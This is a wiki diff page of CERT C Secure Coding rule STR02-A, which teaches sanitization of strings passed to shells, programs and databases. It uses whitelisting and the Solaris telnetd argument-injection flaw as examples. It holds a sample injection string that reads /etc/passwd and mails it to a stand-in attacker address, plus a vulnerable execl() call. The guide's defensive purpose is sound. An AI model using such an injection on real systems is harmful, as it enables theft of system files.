Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

String data passed to complex subsystems may contain special
characters that can trigger commands or actions, resulting in a
software vulnerability. As a result it
is necessary to sanitize all string data passed to complex subsystems
so that the resulting string is innocuous in the context in which it
will be interpreted.

These are some examples of complex subsystems:

  • command processor via a call to system() or similar function.
    This is also addressed in [ENV03-A. Sanitize the environment before
    invoking external programs].
  • external programs
  • relational databases
  • third-party COTS components (e.g., an enterprise resource planning
    subsystem)

Non-Compliant Code Example

Wiki Markup
Data sanitization requires an understanding of the data being passed 
and the capabilities of the subsystem.  John Viega and Matt Messier 
provide an example of an application that inputs an email address into 
a buffer and then uses this string as an argument in a call to 
{{system()}} \[[Viega 03|AA. C References#Viega 03]\]:

...

The risk is, of course, that the user enters the following string as
an e-mail address:

Code Block
bogus@addr.com; cat /etc/passwd  | mail some@badguy.net

...

It is necessary to ensure that all valid data is accepted, while
potentially dangerous data is rejected or sanitized. This can be
difficult when valid characters or sequences of characters also have
special meaning to the subsystem and may involve validating the data
against a grammar. In cases where there is no overlap, white listing
can be used to eliminate dangerous characters from the data.

The white listing approach to data sanitization is to define a list of
acceptable characters and remove any character that is not acceptable.
The list of valid input values is typically a predictable,
well-defined set of manageable size. This example, based on the
tcp_wrappers package written by Wietse Venema, illustrates the
white listing approach.

Code Block
bgColor#ccccff
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
                         "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                         "1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp; /* cursor into string */
for (cp = user_data; *(cp += strspn(cp, ok_chars)); ) {
  *cp = '_';
}

The benefit of white listing is that a programmer can be certain that
a string contains only characters that are considered safe by the
programmer. White listing is recommended over black listing, which
traps all unacceptable characters, as the programmer only needs to
ensure that acceptable characters are identified. As a result, the
programmer can be less concerned about which characters an attacker
may try in an attempt to bypass security checks.

...

Wiki Markup
This non-compliant code example is taken from \[[VU#881872|AA. C 
References#VU881872]\], a vulnerability in the Sun Solaris TELNET 
daemon ({{in.telnetd}}) that allows a remote attacker to log on to the 
system with elevated privileges.

The vulnerability in in.telnetd invokes the login program by
calling execl(). This call passes unsanitized data from an
untrusted source (the USER environment variable) as an argument to the
login program.

Code Block
bgColor#FFCCCC
(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")),
  0);

An attacker, in this case, can gain unauthenticated access to a system
by setting the USER environment variable to a string, which is
interpreted as an additional command line option by the login
program. This is referred to as an argument injection attack.

...

The following compliant solution inserts the "--" argument before the
call to getenv("USER") in the call to execl():

...

Because the login program uses the POSIX getopt() function to
parse command-line arguments, and because the "--" (double dash)
option causes getopt() to stop interpreting options in the
argument list, the USER variable cannot be used by an attacker to
inject an additional command-line option. This is a valid means of
sanitizing the untrusted user data in this context because the
behavior of the interpretation of the resulting string is rendered
innocuous.

The call to execl() is not susceptible to command injection
because the a shell command interpreter is not invoked (see ENV04-A. Do not call system() if you do not need a command processor).

The diff for this vulnerability is available from the CVS repository
at
OpenSolaris.

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an
injection attack, data integrity issues, and a loss of sensitive data.

Recommendation

Severity

Likelihood

Remediation Cost

Priority

...

|| Level ||

STR02-A

2 (medium)

3 (likely)

2 (medium)

P12

...

| L1 |

Automated Detection

Fortify SCA Version 5.0 is able to detect violations of this rule.

...

Search for vulnerabilities resulting from the violation of this rule
on the [CERT
website|https://www.kb.cert.org/vulnotes/bymetric?searchview&query=FIELD+KEYWORDS+contains+STR02-A].

References

Wiki Markup
\[[MITRE 07|AA. C References#MITRE 07]\] [CWE ID 
88|http://cwe.mitre.org/data/definitions/88.html], "Argument Injection 
or Modification"; [CWE ID 
78|http://cwe.mitre.org/data/definitions/78.html], "Failure to 
Sanitize Data into an OS Command (aka 'OS Command Injection')"
\[[ISO/IEC 9899-1999|AA. C References#ISO/IEC 9899-1999]\] Section 
7.20.4.6, "The system function"
\[[Viega 03|AA. C References#Viega 03]\]
\[[VU#881872|AA. C References#VU881872]\]

...

*[Image Added|STR01-A. Use
managed strings for development of new string manipulation
code]*      *[!CERT C Secure Coding
Standard^button_arrow_up.png!|07. Characters and Strings
(STR)]*       *[!CERT C Secure Coding
Standard^button_arrow_right.png!|STR03-A. Do not inadvertently
truncate a null-terminated byte string]*